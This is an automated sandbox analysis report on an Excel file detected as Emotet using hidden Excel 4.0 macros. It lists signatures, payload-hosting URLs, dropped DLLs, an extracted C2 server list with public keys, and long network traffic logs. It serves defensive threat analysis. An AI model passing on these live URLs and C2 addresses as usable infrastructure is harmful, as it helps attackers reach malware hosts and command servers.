Windows Analysis Report
RechX2022.11.11_1045X.xls

Overview

General Information

Sample Name: RechX2022.11.11_1045X.xls
Analysis ID: 745330
MD5: c3746ff14c90cef7b9f4478cebe79b79
SHA1: de7ecf4c76f3753342f7fc0129b7ac32fb3c55c3
SHA256: 81574070b47944ba4904a6e419a25eb1825a3a6cba5b8be896f0144e11802d31
Tags: xls
Infos:

Detection

Hidden Macro 4.0, Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Document exploit detected (drops PE files)
Malicious sample detected (through community Yara rule)
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Found malicious Excel 4.0 Macro
Multi AV Scanner detection for domain / URL
Snort IDS alert for network traffic
Creates an autostart registry key pointing to binary in C:\Windows
Creates multiple autostart registry keys
Office process drops PE file
Found Excel 4.0 Macro with suspicious formulas
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Deletes files inside the Windows folder
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Downloads executable code via HTTP
Uses insecure TLS / SSL version for HTTPS connection
Drops files with a non-matching file extension (content does not match file extension)
Potential document exploit detected (unknown TCP traffic)
PE file contains an invalid checksum
Drops PE files
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Yara detected Xls With Macro 4.0
Detected TCP or UDP traffic on non-standard ports
Connects to several IPs in different countries
Registers a DLL
Drops PE files to the user directory
Dropped file seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: RechX2022.11.11_1045X.xls Virustotal: Detection: 61% Perma Link
Antivirus detection for URL or domain
Source: https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/ Avira URL Cloud: Label: malware
Source: https://182.162.143.56/acqrviy/djjybechrofav/ Avira URL Cloud: Label: malware
Source: https://182.162.143.56/qhecxbnpzjg/ Avira URL Cloud: Label: malware
Source: https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/B Avira URL Cloud: Label: malware
Source: https://182.162.143.56/urupsapzfmrxqv/ Avira URL Cloud: Label: malware
Source: https://182.162.143.56/foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/ Avira URL Cloud: Label: malware
Source: https://182.162.143.56/urupsapzfmrxqv/zW Avira URL Cloud: Label: malware
Source: https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/ Avira URL Cloud: Label: malware
Source: http://ly.yjlianyi.top/wp-admin/4cChao/ Avira URL Cloud: Label: malware
Source: https://copunupo.ac.zm/cgi-bin/WFFcGx/ Avira URL Cloud: Label: malware
Source: http://sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: sbm.xinmoshiwang.com Virustotal: Detection: 13% Perma Link
Source: datie-tw.com Virustotal: Detection: 10% Perma Link
Source: copunupo.ac.zm Virustotal: Detection: 17% Perma Link
Source: 00000007.00000002.1379999865.00000000001AA000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Emotet {"C2 list": ["173.255.211.88:443", "45.63.99.23:7080", "182.162.143.56:443", "91.187.140.35:8080", "212.24.98.99:8080", "119.59.103.152:8080", "45.235.8.30:8080", "172.104.251.154:8080", "72.15.201.15:8080", "169.57.156.166:8080", "103.75.201.2:443", "213.239.212.5:443", "164.90.222.65:443", "201.94.166.162:443", "94.23.45.86:4143", "183.111.227.137:8080", "186.194.240.217:443", "107.170.39.149:8080", "147.139.166.154:8080", "5.135.159.50:443", "206.189.28.199:8080", "104.168.155.143:8080", "129.232.188.93:443", "82.223.21.224:8080", "103.43.75.120:443", "103.132.242.26:8080", "139.59.56.73:8080", "164.68.99.3:8080", "202.129.205.3:8080", "167.172.199.165:8080", "110.232.117.186:8080", "209.97.163.214:443", "167.172.253.162:8080", "1.234.2.232:8080", "159.65.88.10:8080", "95.217.221.146:8080", "153.92.5.27:8080", "91.207.28.33:8080", "188.44.20.25:443", "153.126.146.25:7080", "163.44.196.120:8080", "172.105.226.75:8080", "115.68.227.76:8080", "159.65.140.115:443", "139.59.126.41:443", "197.242.150.244:8080", "45.176.232.124:443", "45.118.115.99:8080", "149.56.131.28:8080", "79.137.35.198:8080", "173.212.193.249:8080", "160.16.142.56:8080", "159.89.202.34:443", "185.4.135.165:8080"], "Public Key": ["RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj59L5kaPsAAIg=", "RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2Dr9kaPsAAJA="]}
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49181 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49182 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49189 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49190 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49191 version: TLS 1.0
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 175.98.167.165:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown HTTPS traffic detected: 41.63.0.22:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001E0D4 FindFirstFileW,FindNextFileW,FindClose, 7_2_000000018001E0D4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001E0D4 FindFirstFileW,FindNextFileW,FindClose, 9_2_000000018001E0D4
Source: C:\Windows\System32\regsvr32.exe Code function: 11_2_000000018001E0D4 FindFirstFileW,FindNextFileW,FindClose, 11_2_000000018001E0D4

Software Vulnerabilities
barindex
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: EvvmhfKiKFhKrSuHfBq[1].dll.0.dr Jump to dropped file
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\o0oHPECmC0WPIXcvQPJOXzFOO7w00z7mkDO[1].dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\2yXcjy57oZTTUNweDidCGUY[1].dll Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: datie-tw.com
Source: global traffic DNS query: name: sbm.xinmoshiwang.com
Source: global traffic DNS query: name: copunupo.ac.zm
Source: global traffic DNS query: name: ly.yjlianyi.top
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 175.98.167.165:443 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 175.98.167.165:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 47.92.35.35:80 -> 192.168.2.22:49174
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
